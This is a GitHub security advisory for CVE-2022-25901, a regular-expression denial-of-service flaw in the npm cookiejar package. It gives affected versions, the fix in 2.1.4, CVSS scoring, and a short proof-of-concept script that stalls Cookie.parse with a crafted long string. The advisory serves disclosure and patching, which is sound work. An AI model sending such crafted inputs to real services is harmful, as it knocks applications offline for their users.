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cookiejar Regular Expression Denial of Service via Cookie.parse function

Moderate severity GitHub Reviewed Published Jan 18, 2023 to the GitHub Advisory Database • Updated Jan 23, 2023

Package

npm cookiejar (npm)

Affected versions

< 2.1.4

Patched versions

2.1.4
maven org.webjars.npm:cookiejar (Maven)
<= 2.1.3
None

Description

Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.

Proof of concept:

ts\nconst { CookieJar } = require("cookiejar");

const jar = new CookieJar();

const start = performance.now();

const attack = "a" + "t".repeat(50_000);
jar.setCookie(attack);

console.log(`CookieJar.setCookie(): ${performance.now() - start}ms`);

CookieJar.setCookie(): 2963.214399999939ms

References

Published by the National Vulnerability Database Jan 18, 2023
Published to the GitHub Advisory Database Jan 18, 2023
Reviewed Jan 23, 2023
Last updated Jan 23, 2023

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

EPSS score

0.444%
(75th percentile)

Weaknesses

CVE ID

CVE-2022-25901

GHSA ID

GHSA-h452-7996-h45h

Source code

Credits

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